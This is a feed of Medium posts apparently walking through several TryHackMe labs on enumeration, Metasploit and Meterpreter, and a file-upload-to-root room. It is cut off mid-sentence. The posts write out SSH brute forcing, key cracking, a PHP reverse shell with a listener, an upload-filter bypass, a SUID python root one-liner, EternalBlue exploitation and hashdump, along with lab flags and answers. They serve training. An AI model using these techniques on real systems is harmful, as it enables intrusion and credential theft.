<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohamed Sayed (U S A N) on Medium]]></title>
        <description><![CDATA[Stories by Mohamed Sayed (U S A N) on Medium]]></description>
        <link>https://medium.com/@usan7?source=rss-4dd6c1e15003------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-_gTlEr8us75Unh7AHfQtg.jpeg</url>
            <title>Stories by Mohamed Sayed (U S A N) on Medium</title>
            <link>https://medium.com/@usan7?source=rss-4dd6c1e15003------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 13:21:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@usan7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Power of Enumeration — Basic Pentesting TryHackMe]]></title>
            <link>https://usan7.medium.com/the-power-of-enumeration-basic-pentesting-tryhackme-6afced90daeb?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/6afced90daeb</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[linpeas]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[smb]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 18:15:56 GMT</pubDate>
            <atom:updated>2026-03-02T18:15:56.291Z</atom:updated>
            <content:encoded><![CDATA[<p>Here you can find it <a href="https://tryhackme.com/room/basicpentestingjt">Basic Pentesting</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJAjn8NdO0D8hxwvrF4-wQ.jpeg" /></figure><p>first of all make sure to deploy the machine and start the attack box or connect to TryHackMe network via openvpn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*lzooFDAG5_gz9Exj-_4tbw.png" /></figure><h3>let’s start our enumeration</h3><h3>1- Port Scanning using nmap</h3><pre>nmap -A Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pY8grZz7ANwhwRbZ7efX3A.png" /></figure><p>Hmm…. we found interesting open ports <strong>( 22, 80, 445)</strong></p><p><strong>port 22 SSH</strong> if you don’t know <strong>(Secure Shell)</strong> is a <strong>network protocol</strong> that allows you to securely connect to another computer over a network.</p><p><strong>Port 80</strong> is the default port for <strong>HTTP (HyperText Transfer Protocol) </strong>that means that there is a website running at that port</p><p><strong>Port 445 SMB (Server Message Block) </strong>used for file sharing usually vulnerable</p><p>we can’t use <strong>SSH </strong>due to we don’t have usernames</p><p>let’s see what we can found in that website running</p><pre>http://Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*eN3iNobJhumg44GF4-f8Og.png" /></figure><p>Nothing…let’s brute force Directories using GoBuster</p><pre>gobuster dir -u http://10.114.163.92 -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rufYITPhr_unLIcXbTpSeA.png" /></figure><p>we found directory…..development so let’s see what we can find</p><pre>http://Target_IP/development</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*ZRv9sKUd5o5I0Elu4cv7hA.png" /></figure><h3>dev.txt</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyuFQbH41HJ6RipCD0d1kQ.png" /></figure><h3>j.txt</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*HgNH98W0oCivwRd5ZCY9yw.png" /></figure><p>nothing important found except we now know that <strong>J</strong> has a password we can crack it easily</p><p>let’s check Port <strong>445 SMB</strong></p><pre>enum4linux -a Target_IP</pre><h3><strong>enum4linux</strong></h3><p>used for <strong>SMB </strong>enumeration to get the users or shares groups password policies we’re going to do all of this using <strong>-a parameter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*t92HJPp56bIGixiYzym5ow.png" /></figure><p>we found many thing but interesting parts that we found usernames</p><h3><strong>kay | jan</strong></h3><p>we said before that jan has an easy password we could crack so let’s try login with his username via <strong>SSH</strong></p><pre>ssh jan@Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*9H4aoTrj4oM8Kkz5VGFl2Q.png" /></figure><p>let’s brute force password using hydra</p><pre>hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 ssh://Target_IP</pre><h3>hydra</h3><p>Great tool used for brute force attacks</p><p>we used wordlist <strong>rockyou.txt that has millions of leaks’ passwords</strong></p><p>after a while we found a password for the username jan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1P3n7j-OpNbnB9FixuhSTw.png" /></figure><p>now login again with <strong>SSH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*fAU22f-yRFC7_ubooQtBgg.png" /></figure><p>we connected but he doesn’t have root privileges</p><p>know let’s try to Privilege Escalation using Linpeas</p><h3>LinPEAS</h3><p><strong>LinPEAS</strong> is a post-exploitation enumeration script used to identify potential privilege escalation vectors on Linux systems.</p><p>let’s download it in our machine then deliver it to the target since we can connect via <strong>SSH</strong></p><pre>wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh</pre><p>let’s deliver it using <strong>SCP ( Secure Copy Protocol )</strong></p><pre>scp linpeas.sh jan@Target_IP:/tmp/</pre><p>now navigate to /tmp in the target machine</p><pre>cd /tmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*3MO3mAh_oztt3d6gcHuO2w.png" /></figure><p>give it execute permissions</p><pre>chmod +x linpeas.sh</pre><p>run it</p><pre>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*ncg9VPEsFbsoXi7cx4T3tQ.png" /></figure><p>we’re going to focus in any red phrases it could lead us to Privilege Escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*KDOqGOQ-bCbqWj8pL4Y8uQ.png" /></figure><p>we found interesting part an <strong>SSH </strong>private key</p><p>let’s copy it and try to connect to kay with it</p><p>first make it writable and readable for us</p><pre>chmod 600 id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*RD48JjnX5nb7ufqSwcAd1Q.png" /></figure><p>we found that connecting using that private key is protected via password</p><p>let’s try take that encrypted private key and crack it using<strong> john the ripper</strong> but john only cracks <strong>hashes</strong> so we need a way to transform the private key to hash</p><p>we have a tool <strong>ssh2john </strong>we can use it</p><pre>ssh2john id_rsa &gt; kay_ssh_hash.hash</pre><p>now let’s crack it using <strong>john</strong></p><pre>john kay_ssh_hash.hash  --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WZbtYxUuGwrR5pFdWTY2hg.png" /></figure><p>we found a password let’s try it</p><p>here we are…….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fX39E0FGYWrdZ9J0C8DZGw.png" /></figure><p>let’s see what we can find at the home directory of user kay</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ztnCblkkFomnDqX-atkGdg.png" /></figure><p>Oh…our final password to solve the challenge</p><p>This basic pentesting challenge was a great opportunity to sharpen my skills and explore real-world hacking techniques in a safe environment. Each step, from reconnaissance to exploitation, reinforced the mindset of thinking like an attacker and approaching problems creatively. Challenges like these are not just exercises — they’re stepping stones toward mastering cybersecurity. Keep practicing, stay curious, and embrace every lab as a chance to learn something new. The journey is tough, but every challenge you conquer makes you stronger!</p><p>See you in the next machine 🚀🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6afced90daeb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit Module — Meterpreter TryHackMe]]></title>
            <link>https://usan7.medium.com/metasploit-module-meterpreter-tryhackme-ee6e4a89bb30?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee6e4a89bb30</guid>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[post-exploitation]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 15:07:44 GMT</pubDate>
            <atom:updated>2026-02-28T15:07:44.291Z</atom:updated>
            <content:encoded><![CDATA[<p>Here you can find it <a href="https://tryhackme.com/module/metasploit">Module</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR0BXNZTCN55nDvowqUQxg.jpeg" /></figure><h3>Metasploit: Meterpreter</h3><h3>Task 1:</h3><p>Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter’s specialized commands.</p><p>Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM — Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.</p><p>Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities</p><p><strong>Answer:</strong> No need</p><h3>Task 2:</h3><p>Meterpreter versions available for the following platforms:</p><ul><li>Android</li><li>Apple iOS</li><li>Java</li><li>Linux</li><li>OSX</li><li>PHP</li><li>Python</li><li>Windows</li></ul><p>Your decision on which version of Meterpreter to use will be mostly based on three factors:</p><ul><li>The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)</li><li>Components available on the target system (Is Python installed? Is this a PHP website? etc.)</li><li>Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection?</li></ul><p><strong>Answer:</strong> No need</p><h3>Task 3:</h3><p>Typing help on any Meterpreter session (shown by meterpreter&gt; at the prompt) will list all available commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtcTxRR50SinqDMiE1T05w.png" /></figure><p>If you run the help command, you will see Meterpreter commands are listed under different categories.</p><ul><li>Core commands</li><li>File system commands</li><li>Networking commands</li><li>System commands</li><li>User interface commands</li><li>Webcam commands</li><li>Audio output commands</li><li>Elevate commands</li><li>Password database commands</li><li>Timestomp commands</li></ul><p>Core commands</p><ul><li>background: Backgrounds the current session</li><li>exit: Terminate the Meterpreter session</li><li>guid: Get the session GUID (Globally Unique Identifier)</li><li>help: Displays the help menu</li><li>info: Displays information about a Post module</li><li>irb: Opens an interactive Ruby shell on the current session</li><li>load: Loads one or more Meterpreter extensions</li><li>migrate: Allows you to migrate Meterpreter to another process</li><li>run: Executes a Meterpreter script or Post module</li><li>sessions: Quickly switch to another session</li></ul><p>File system commands</p><ul><li>cd: Will change directory</li><li>ls: Will list files in the current directory (dir will also work)</li><li>pwd: Prints the current working directory</li><li>edit: will allow you to edit a file</li><li>cat: Will show the contents of a file to the screen</li><li>rm: Will delete the specified file</li><li>search: Will search for files</li><li>upload: Will upload a file or directory</li><li>download: Will download a file or directory</li></ul><p>Networking commands</p><ul><li>arp: Displays the host ARP (Address Resolution Protocol) cache</li><li>ifconfig: Displays network interfaces available on the target system</li><li>netstat: Displays the network connections</li><li>portfwd: Forwards a local port to a remote service</li><li>route: Allows you to view and modify the routing table</li></ul><p>System commands</p><ul><li>clearev: Clears the event logs</li><li>execute: Executes a command</li><li>getpid: Shows the current process identifier</li><li>getuid: Shows the user that Meterpreter is running as</li><li>kill: Terminates a process</li><li>pkill: Terminates processes by name</li><li>ps: Lists running processes</li><li>reboot: Reboots the remote computer</li><li>shell: Drops into a system command shell</li><li>shutdown: Shuts down the remote computer</li><li>sysinfo: Gets information about the remote system, such as OS</li></ul><p>Others Commands (these will be listed under different menu categories in the help menu)</p><ul><li>idletime: Returns the number of seconds the remote user has been idle</li><li>keyscan_dump: Dumps the keystroke buffer</li><li>keyscan_start: Starts capturing keystrokes</li><li>keyscan_stop: Stops capturing keystrokes</li><li>screenshare: Allows you to watch the remote user&#39;s desktop in real time</li><li>screenshot: Grabs a screenshot of the interactive desktop</li><li>record_mic: Records audio from the default microphone for X seconds</li><li>webcam_chat: Starts a video chat</li><li>webcam_list: Lists webcams</li><li>webcam_snap: Takes a snapshot from the specified webcam</li><li>webcam_stream: Plays a video stream from the specified webcam</li><li>getsystem: Attempts to elevate your privilege to that of local system</li><li>hashdump: Dumps the contents of the SAM database</li></ul><p><strong>Answer:</strong> No need</p><h3>Task 4:</h3><p>Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ovo42xe40FEn6slqmFcuqg.png" /></figure><p>The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)</p><p>The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.</p><p>Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.</p><p>The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user&#39;s passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.</p><p>The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.</p><p><strong>Answer:</strong> No need</p><h3>Task 5:</h3><p>in addition of “getsystem ”and “hashdump ”commands u can use “load” to load tools like kiwi notice that when you load the tool you will find new commands added to meterpreter help menu</p><p>using msfconsole we can use this module</p><pre>use exploit/windows/smb/psexec</pre><p>with our credentials</p><p>Username: ballen</p><p>Password: Password1</p><p>once you set RHOSTS , SMBUser and SMBPass Meterpreter shell will open</p><p><strong>Q1:</strong> using sysinfo</p><p><strong>Answer: </strong>ACME-TEST</p><p><strong>Q2: </strong>using sysinfo</p><p><strong>Answer:</strong> FLASH</p><p><strong>Q3:</strong> background the session then use that metasploit module</p><pre>use post/windows/gather/enum_shares</pre><p>set your session</p><p><strong>Answer:</strong> speedster</p><p><strong>Q4:</strong> using hashdump</p><p><strong>Answer:</strong> 69596c7aa1e8daee17f8e78870e25a5c</p><p><strong>Q5: </strong>Crack the hash with <a href="https://crackstation.net/">CrackStation</a></p><p><strong>Answer:</strong> Trustno1</p><p><strong>Q6:</strong> Search for secrets.txt</p><pre>search -f secrets.txt</pre><p><strong>Answer:</strong> c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</p><p><strong>Q7:</strong> Just read the content of secrets.txt using “ cat ”</p><p><strong>Answer:</strong> KDSvbsw3849!</p><p><strong>Q8:</strong> search for realsecret.txt</p><pre>search -f realsecret.txt</pre><p><strong>Answer:</strong> c:\inetpub\wwwroot\realsecret.txt</p><p><strong>Q9: </strong>Just read the content of realsecret.txt using “ cat ”</p><p><strong>Answer:</strong> The Flash is the fastest man alive</p><p><em>Hope you enjoyed this walkthrough — keep experimenting, stay curious, and make your learning journey with Metasploit an exciting adventure while having fun with cybersecurity! </em>✅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee6e4a89bb30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File Upload Exploit to Root Access — RootMe TryHackMe]]></title>
            <link>https://usan7.medium.com/file-upload-exploit-to-root-access-rootme-tryhackme-68123a19a370?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/68123a19a370</guid>
            <category><![CDATA[file-upload]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[compromise]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 00:10:30 GMT</pubDate>
            <atom:updated>2026-02-28T00:10:30.830Z</atom:updated>
            <content:encoded><![CDATA[<p>Here you can find it <a href="https://tryhackme.com/room/rrootme">RootMe</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*LYKVcdg79jM-wY5NaLswGQ.jpeg" /></figure><h3>Task 1:</h3><p>First of all you need start the machine using “Start Machine” Green button then connect to TryHackMe network through <a href="https://tryhackme.com/manage-account/access">openvpn</a></p><p><strong>Answer: </strong>No need</p><h3>Task 2:</h3><p>now let’s begin our Recon</p><p>let’s see what ports are opened and what services are running with its versions using “nmap”</p><pre>nmap -A Target_IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Y-BYDlyVc3xnrzezcp7Xg.png" /></figure><p><strong>Q1:</strong> 2</p><p><strong>Q2:</strong> 2.4.41</p><p><strong>Q3:</strong> ssh</p><p><strong>Q4:</strong> No Answer needed</p><p><strong>Q5:</strong></p><p>I used GoBuster to brute force directories</p><pre>gobuster dir -u http://Target_IP -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt</pre><p>found</p><ul><li>/panel/</li><li>/uploads/</li></ul><p><strong>Answer:</strong> /panel/</p><h3><strong>Task 3:</strong></h3><p>when we navigate to <a href="http://target_ip/panel/">http://Target_IP/panel/</a> found file upload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgy5KgLvABIr-NnLPL4YWg.png" /></figure><p>we’re going to make a reverse shell php payload</p><p>I used that shell <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"><strong>reverse_shell</strong></a></p><p>make sure to change the ip in the php shell file with your IP (Attacker_IP)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*urLtMJdOCWcY9EUCeBTiaw.png" /></figure><p>now let’s open a listener on port 1234</p><pre>nc -nlvp 1234</pre><p>and upload our php payload to the website panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*AOvvOdKk9x44SPrXteEwuA.png" /></figure><p>if we tried to upload our payload rev_shell.php error is shown</p><p>that php isn’t allowed so to by pass this we change the extension of the file to</p><pre>rev_shell.php5</pre><p>and deliver it then go to <a href="http://target_ip/uploads/">http://Target_IP/uploads/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*EsHMMlYRIjYQocFt6jmqNg.png" /></figure><p>then opened our payload</p><p>Boom…..Shell opened</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tI51t0JQ7O9jVOr3RF57CA.png" /></figure><p>now let’s search for the file user.txt</p><pre>find / -type f -name user.txt 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*uSHkfxvFiZJshGmcgK0hmg.png" /></figure><pre>cat /var/www/user.txt</pre><p><strong>Answer: </strong>THM{y0u_g0t_a_sh3ll}</p><h3>Task 4:</h3><p><strong>SUID (Set User ID)</strong> is a special permission in Linux.</p><p>When a file has the SUID bit set:</p><p>Anyone who runs that file executes it with the permissions of the file owner — not their own.</p><pre>find / -user root -perm -4000 2&gt;/dev/null</pre><p>we here search for files its owner is root and with SUID BIT Set</p><p>-perm -4000 → Matches files that have the SUID bit set</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*b7YCHV9IXyN0JpxKJQOV2w.png" /></figure><p>we found interesting file that python we can make a payload that we can get open a shell with root privilege</p><pre>/usr/bin/python2.7 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*xGgDQBqtThuwoi_2VBrBzg.png" /></figure><p>now let’s find next flag file “root.txt”</p><pre>find / -type f -name &#39;root.txt&#39; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*6s_3K4moZUSUyVx67PbMwQ.png" /></figure><p>found it let’s see its content</p><pre>cat /root/root.txt</pre><p>Q1: /usr/bin/python</p><p>Q2: No Answer needed</p><p>Q3: THM{pr1v1l3g3_3sc4l4t10n}</p><p>Completing the <strong>RootMe</strong> room on TryHackMe isn’t just about getting a root shell — it’s about understanding how small vulnerabilities can lead to full system compromise.</p><p>From exploiting a simple file upload to escalating privileges through SUID misconfigurations, this lab demonstrates how powerful foundational knowledge can be.</p><p>If you made it this far, you’re not just following steps — you’re thinking like an attacker and growing like a security professional.</p><p>Keep practicing.<br> Keep breaking things in safe labs.<br> Keep asking “why does this work?”</p><p>Because every room you complete brings you one step closer to mastering real-world penetration testing.</p><p>See you in the next machine 🚀🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68123a19a370" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit Module — Exploitation TryHackMe]]></title>
            <link>https://usan7.medium.com/metasploit-module-tryhackme-2dc0583fc098?source=rss-4dd6c1e15003------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dc0583fc098</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[payload]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[msfvenom]]></category>
            <dc:creator><![CDATA[Mohamed Sayed (U S A N)]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 14:47:54 GMT</pubDate>
            <atom:updated>2026-02-27T15:18:08.740Z</atom:updated>
            <content:encoded><![CDATA[<h3>Metasploit Module — Exploitation TryHackMe</h3><p>Here you can find it <a href="https://tryhackme.com/module/metasploit">Module</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR0BXNZTCN55nDvowqUQxg.jpeg" /></figure><h3>Metasploit: Exploitation</h3><h3>Task 1:</h3><p>More specifically, the topics we will cover are:</p><ul><li>How to scan target systems using Metasploit.</li><li>How to use the Metasploit database feature.</li><li>How to use Metasploit to conduct a vulnerability scan.</li><li>How to use Metasploit to exploit vulnerable services on target systems.</li><li>How msfvenom can be used to create payloads and obtain a Meterpreter session on the target system.</li></ul><p>Q1: No answer needed</p><h3>Task 2:</h3><p><strong>Port Scanning</strong></p><p>Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanning modules available using the search portscan command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Uz7T8uYfXu2FM1JxexdoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PMEeVzi81b5q_eYWH-WnpA.png" /></figure><ul><li><strong>CONCURRENCY: </strong>Number of targets to be scanned simultaneously.</li><li><strong>PORTS: </strong>Port range to be scanned. Please note that 1–1000 here will not be the same as using Nmap with the default configuration. Nmap will scan the 1000 most used ports, while Metasploit will scan port numbers from 1 to 10000.</li><li><strong>RHOSTS:</strong> Target or target network to be scanned.</li><li><strong>THREADS:</strong> Number of threads that will be used simultaneously. More threads will result in faster scans.</li></ul><p>You can directly perform Nmap scans from the msfconsole prompt as shown below faster:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EktzWovSdiB-F5qnOeAYyg.png" /></figure><p><strong>UDP service Identification</strong></p><p>The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t58NgJEkKf8uYhTqD9c93g.png" /></figure><p><strong>SMB Scans</strong></p><p>Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I24bbR6PBX-IITIMIv8_RQ.png" /></figure><p><strong>Q1:</strong> 5</p><p><strong>Q2:</strong> ACME IT SUPPORT</p><p><strong>Q3:</strong> webfs/1.21</p><p><strong>Q4:</strong> leo1234</p><h3>Task 3:</h3><p>You can now launch msfconsole and check the database status using the db_status command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVqi-ORZpJFRzbYjHTZjrg.png" /></figure><p>The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHoxQzJEpanINPrKG_i8vQ.png" /></figure><p>You can add a workspace using the -a parameter or delete a workspace using the -d parameter, respectively. The screenshot below shows that a new workspace named &quot;tryhackme&quot; was created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*as25W05FNT7Wjlf8Zzb7CA.png" /></figure><p>You will also notice that the new database name is printed in red, starting with a * symbol.</p><p>You can use the workspace command to navigate between workspaces simply by typing workspace followed by the desired workspace name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0ijjohvSwD4_nwt2jcMZA.png" /></figure><p>You can use the workspace -h command to list available options for the workspace command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fy_RzFIzucP_QhZzi_Hnhg.png" /></figure><p>Different from regular Metasploit usage, once Metasploit is launched with a database, the help command, you will show the Database Backends Commands menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3oxIIVPXrQzDcb9Xw2K2A.png" /></figure><p>If you run a Nmap scan using the db_nmap shown below, all results will be saved to the database.</p><p>You can now reach information relevant to hosts and services running on target systems with the hosts and services commands, respectively.</p><p>you may want to look to these ports</p><ul><li>HTTP: Could potentially host a web application where you can find vulnerabilities like SQL injection or Remote Code Execution (RCE).</li><li>FTP: Could allow anonymous login and provide access to interesting files.</li><li>SMB: Could be vulnerable to SMB exploits like MS17–010</li><li>SSH: Could have default or easy to guess credentials</li><li>RDP: Could be vulnerable to Bluekeep or allow desktop access if weak credentials were used.</li></ul><p>Q1: No answer needed</p><h3>Task 4:</h3><p>Metasploit allows you to quickly identify some critical vulnerabilities that could be considered as “low hanging fruit”. The term “low hanging fruit” usually refers to easily identifiable and exploitable vulnerabilities that could potentially allow you to gain a foothold on a system and, in some cases, gain high-level privileges such as root or administrator.</p><p>You can use the info command for any module to have a better understanding of its use and purpose.</p><p>Q1: Campbell Murray</p><h3>Task 5:</h3><p>If we attempt to do a port scanning on the target_Ip we’ll see port 445 is vulnerable to SMB ms017–010 EternalBlue if we using Metasploit Search<br>we found that exploit “exploit/windows/smb/ms17_010_eternalblue”</p><p>now let’s show options</p><pre>show OPTIONS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_m7tDHaEGNZwU_7ZAttnBA.png" /></figure><p>we need to set our RHOSTS (Target_IP)</p><pre>set RHOSTS Target_IP</pre><p>notice that our payload is meterpreter shell, make sure that your payload set to meterpreter shell</p><p>now run the exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*htgjppHJw19bPQpDmRNQ0w.png" /></figure><p>Meterpreter shell is opened</p><p><strong>Q1:</strong> No answer need</p><p><strong>Q2:</strong></p><p>lets search for the flag</p><pre>search -f flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*RjQZhuMVZIbiM4LQJ9NQCg.png" /></figure><p>Navigate to this folder using “<em>cd” </em>and read the flag content using “<em>cat”</em></p><p><strong>Answer:</strong> THM-5455554845</p><p><strong>Q3:</strong></p><p>let’s dump the hashes using hashdump</p><pre>hashdump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BroOF3C6sq9zHeL5o1UlQ.png" /></figure><p>as we can see let’s break down the user pirate record</p><pre>username:RID:LM_hash:NT_hash:::</pre><ul><li>RID which is Relative Identifier</li><li>LM_hash is Lan Manager Hash old way to store passwords</li><li>NT_hash which is the NTLM hash equivalent actual Password of the user</li></ul><p><strong>Answer:</strong> 8ce9a3ebd1647fcc5e04025019f4b875</p><h3>Task 6:</h3><ul><li><strong>Output formats</strong></li></ul><p>You can either generate stand-alone payloads (e.g. a Windows executable for Meterpreter) or get a usable raw format (e.g. python). The msfvenom --list formats command can be used to list supported output formats.</p><ul><li><strong>Encoders</strong></li></ul><p>Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, they encode the payload. While it can be effective against some antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem.</p><ul><li><strong>Handlers</strong></li></ul><p>Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenom payload. When using an exploit module, this part is automatically handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is &#39;catching a shell&#39;. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.</p><p>MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will 